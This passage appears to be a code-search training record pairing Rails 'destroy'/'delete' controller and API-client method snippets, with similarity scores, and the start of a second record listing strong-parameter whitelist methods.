"def destroy\n @secret.destroy\n respond_to do |format|\n format.html { redirect_to secrets_url, notice: 'Secret was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @connpass.destroy\n respond_to do |format|\n format.html { redirect_to connpasses_url, notice: 'Connpass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n @shortener = Shortener.find(params[:id])\n redirect_to(@shortener) and return if not @shortener.check_password(params[:shortener][:password])\n @shortener.destroy\n respond_to do |format|\n format.html { redirect_to shorteners_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:user_uuid])\n @user.destroy\n head :ok\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n head :unauthorized\n end",
"def destroy\n logout\n render json: {:ok => true}\n end",
"def delete(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'delete'}.merge(authentication))\n end",
"def delete_account\n @connection.request({\n :method => 'DELETE'\n }) \n end",
"def destroy\n @password_reset_request.destroy\n respond_to do |format|\n @user_log = UserLog.create(user: current_user, operation: 'user.log.op.destroy_reset', target_user: @password_reset_request.user.username)\n format.html { redirect_to password_reset_requests_url, notice: 'Password reset request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @secret.destroy\n head :no_content\n end",
"def destroy\n @pw_user = PwUser.find(params[:id])\n @pw_user.destroy\n\n respond_to do |format|\n format.html { redirect_to pw_users_url }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def webhelper_delete_all_apps (username, password, base_url = @base_url)\r\n private_resource = RestClient::Resource.new base_url + \"/api/v1/apps\" , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.get :accept => :json\r\n json = JSON.parse(response)\r\n json['apps'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts response.to_str\r\n end\r\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @forgotten_user = ForgottenUser.find(params[:id])\n @forgotten_user.destroy\n\n respond_to do |format|\n format.html { redirect_to forgotten_users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @api_user.destroy\n\n head :no_content\n end",
"def call(id)\n client.delete(\"/api/rest/v1/api_keys/#{id}.json\")\n true\n end",
"def user_management_delete_user id\n # the base uri for api requests\n query_builder = Configuration.BASE_URI.dup\n\n # prepare query string for API call\n query_builder << \"/v1/users\"\n\n # process optional query parameters\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\n \"id\" => id,\n \"client_id\" => @client_id,\n \"client_secret\" => @client_secret,\n }\n\n # validate and preprocess url\n query_url = APIHelper.clean_url query_builder\n\n # prepare headers\n headers = {\n \"user-agent\" => \"IAMDATA V1\",\n \"accept\" => \"application/json\"\n }\n\n # invoke the API call request to fetch the response\n response = Unirest.delete query_url, headers:headers\n\n # Error handling using HTTP status codes\n if response.code == 404\n raise APIException.new \"Not found\", 404, response.raw_body\n elsif response.code == 401\n raise APIException.new \"Unauthorized\", 401, response.raw_body\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\n end\n\n response.body\n end",
"def destroy\n @salt.destroy\n respond_to do |format|\n format.html { redirect_to salts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hmac.destroy\n respond_to do |format|\n format.html { redirect_to hmacs_url, notice: 'Hmac was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apikey.destroy\n respond_to do |format|\n format.html { redirect_to apikeys_url, notice: \"Apikey was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n secret = Secret.find(params[:id])\n secret.destroy\n redirect_to \"/users/#{secret.user_id}\"\n end",
"def destroy\n @backup_check = BackupCheck.find(params[:id])\n internal_check = InternalCheck.find(params[:internal_check_id])\n @backup_check.destroy\n\n respond_to do |format|\n format.html { redirect_to internal_check }\n format.json { head :no_content }\n end\n end",
"def destroy\n @secret_record.destroy\n\n respond_to do |format|\n format.html { redirect_to @group }\n format.json { head :no_content }\n end\n end",
"def destroy\n @users_db.destroy\n respond_to do |format|\n format.html { redirect_to users_dbs_url, notice: 'Users db was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_user_device_info.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_user_device_infos_url, notice: 'User device info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @migrations_lock.destroy\n respond_to do |format|\n format.html { redirect_to migrations_locks_url, notice: 'Migrations lock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n conf.delete 'api'\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def destroy\n @user=User.where(:authentication_token=>params[:api_key]).first\n @user.reset_authentication_token!\n render :json => { :message => [\"Session deleted.\"] }, :success => true, :status => :ok\n end",
"def destroy_with_password(current_password); end",
"def destroy\n \n respond_to do |format|\n RestClient.delete 'localhost:3001/colores/'[email protected]_s, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'}\n format.html { redirect_to colors_url, notice: \"Color was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cryptotable.destroy\n respond_to do |format|\n format.html { redirect_to cryptotables_url, notice: 'Cryptotable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n execute_prlctl('delete', @uuid)\n end",
"def destroy\n @pass = Pass.find(params[:id])\n @pass.destroy\n\n respond_to do |format|\n format.html { redirect_to passes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pass = Pass.find(params[:id])\n @pass.destroy\n\n respond_to do |format|\n format.html { redirect_to passes_url }\n format.json { head :no_content }\n end\n end",
"def clear_default_profile \n put(\"/profiles.json/default/clear\")\nend",
"def delete\n request('delete').auth_required!\n end",
"def destroy\n @devise = Devise.find(params[:id])\n @devise.destroy\n #API CALL GOES HERE\n\n respond_to do |format|\n format.html { redirect_to devises_url }\n format.json { head :no_content }\n end\n end",
"def delete(context, name)\n res = context.transport.delete_request(context, \"security/users/#{name}\")\n\n context.err(name, res.body) unless res.success?\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @check_register = CheckRegister.find(params[:id])\n @check_register.destroy\n\n respond_to do |format|\n format.html { redirect_to check_registers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @resource = Usuario.find_for_database_authentication(:email => params[:user_login][:email])\n return invalid_login_attempt unless @resource\n\n if @resource.valid_password?(params[:user_login][:password])\n if @resource.authentication_token == params[:authentication_token]\n if @resource.destroy\n return render :json=> {:success=>true, :message=>\"Usuario eliminado correctamente\"}, :status=>200\n end\n else\n return render :json=> {:success=>false, :message=>\"Error with your authentication_token\"}, :status=>401\n end\n end\n return invalid_login_attempt\n end",
"def destroy\n @api_key.destroy\n\n respond_to do |format|\n format.html { redirect_to(api_keys_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @session_replica.destroy\n respond_to do |format|\n format.html { redirect_to session_replicas_url }\n format.json { head :no_content }\n end\n end",
"def delete_data(path, &block)\n url = \"#{host}/api/v#{version}/#{path}\"\n params = Jbuilder.encode(&block) if block_given?\n params ||= {}\n resource = RestClient::Resource.new(\n url, \n headers: {\n \"uid\" => @uid,\n \"client\" => @client,\n \"access-token\" => @access_token\n }\n )\n resource.delete(params) do |response, request, result, &blk|\n case response.code\n when 200\n if response.blank?\n true\n else\n auth_data = {\n uid: response.headers[:uid],\n client: response.headers[:client],\n access_token: response.headers[:access_token]\n }\n JSON.parse(response).merge(auth_data)\n end\n when 404\n nil\n else\n JSON.parse(response)\n end\n end\n end",
"def destroy\n @hotspot_registration.destroy\n respond_to do |format|\n format.html { redirect_to admin_guests_url, notice: 'Guest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @keystroke = Keystroke.find(params[:id])\n @keystroke.destroy\n\n respond_to do |format|\n format.html { redirect_to keystrokes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def destroy\n @device.user_id = nil\n @device.save\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @credential = Credential.find(params[:id])\n @credential.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @grant.destroy\n respond_to do |format|\n format.html { redirect_to grants_url, notice: 'Grant was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apikey.destroy\n respond_to do |format|\n format.html { redirect_to apikeys_url, notice: 'API key was successfully destroyed.' }\n end\n end",
"def destroy\n @identity.destroy\n respond_to do |format|\n format.html { redirect_to identities_url }\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def destroy\n UserPlant.destroy(params[:id])\n end",
"def destroy\n @dns_device_assoc = DnsDeviceAssoc.find(params[:id])\n @dns_device_assoc.destroy\n\n respond_to do |format|\n format.html { redirect_to dns_device_assocs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n super \"/templates/#{template_id}.json\", {}\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end"
] | [
"0.69135994",
"0.65709585",
"0.6546936",
"0.6473401",
"0.63672",
"0.6350938",
"0.63128436",
"0.6280077",
"0.6279821",
"0.62780744",
"0.6257426",
"0.62523204",
"0.6236595",
"0.6233573",
"0.61981446",
"0.6159638",
"0.61543375",
"0.61443245",
"0.6133967",
"0.6116662",
"0.60867435",
"0.6082456",
"0.6075214",
"0.6072639",
"0.6056436",
"0.6052998",
"0.60352355",
"0.6033643",
"0.60070413",
"0.6006934",
"0.6003141",
"0.5986528",
"0.5985505",
"0.59831053",
"0.5965121",
"0.5955192",
"0.59544784",
"0.5950811",
"0.59443045",
"0.59430057",
"0.5940396",
"0.5923053",
"0.5921515",
"0.59145904",
"0.59141505",
"0.59141505",
"0.59141505",
"0.59141505",
"0.5906031",
"0.5902805",
"0.5900375",
"0.58823574",
"0.58720005",
"0.58720005",
"0.5861337",
"0.5860987",
"0.5856143",
"0.5855589",
"0.58547443",
"0.5853244",
"0.58502513",
"0.58488536",
"0.58445287",
"0.5841838",
"0.5829715",
"0.58290815",
"0.5827674",
"0.5822025",
"0.58217",
"0.58204865",
"0.5819815",
"0.58189076",
"0.58156383",
"0.5814037",
"0.5813633",
"0.58117235",
"0.58117235",
"0.5810049",
"0.5805419",
"0.58050454",
"0.5802802",
"0.58016723",
"0.58009154",
"0.579934",
"0.57992494",
"0.57987547",
"0.57965803",
"0.5795409",
"0.57915556",
"0.57900816",
"0.5789924",
"0.57875776",
"0.57874966",
"0.5786515",
"0.57859784",
"0.5782059",
"0.5779281",
"0.5778473",
"0.5776266",
"0.5773284"
] | 0.69258785 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_recovery_password
@recovery_password = RecoveryPassword.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def _handle_action_missing(*args); end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def duas1(action)\n action.call\n action.call\nend"
] | [
"0.6163821",
"0.6045432",
"0.5945441",
"0.5916224",
"0.58894575",
"0.5834073",
"0.57764685",
"0.5702474",
"0.5702474",
"0.5653258",
"0.56211996",
"0.54235053",
"0.5410683",
"0.5410683",
"0.5410683",
"0.53948104",
"0.5378064",
"0.5356684",
"0.53400385",
"0.53399503",
"0.53312254",
"0.53121567",
"0.52971965",
"0.52964705",
"0.52956307",
"0.52587366",
"0.52450675",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5233381",
"0.52325714",
"0.52288216",
"0.52229726",
"0.5218362",
"0.52142864",
"0.5207988",
"0.5206337",
"0.51762295",
"0.51745105",
"0.51728606",
"0.516616",
"0.5161016",
"0.5157393",
"0.5152562",
"0.51524293",
"0.5152397",
"0.5144533",
"0.513982",
"0.51342106",
"0.5113793",
"0.5113793",
"0.5113671",
"0.51092553",
"0.51062804",
"0.50921935",
"0.5088855",
"0.5082236",
"0.5079901",
"0.5066569",
"0.5055307",
"0.5053106",
"0.50499666",
"0.50499666",
"0.5035068",
"0.50258636",
"0.50220853",
"0.5015893",
"0.50134486",
"0.5001442",
"0.50005543",
"0.4998581",
"0.49901858",
"0.49901858",
"0.4986648",
"0.49809486",
"0.49792925",
"0.4978855",
"0.49685496",
"0.49656174",
"0.49576473",
"0.49563017",
"0.4955349",
"0.49536878",
"0.4952439",
"0.49460214",
"0.494239",
"0.49334687",
"0.49315962",
"0.49266812",
"0.49261138",
"0.4925925",
"0.4922542",
"0.4920779",
"0.49173284",
"0.49169463",
"0.4916256",
"0.49162322",
"0.49156886"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def recovery_password_params
params.require(:recovery_password).permit(:recovery_password_id, :state, :user_id, :token, :progress)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
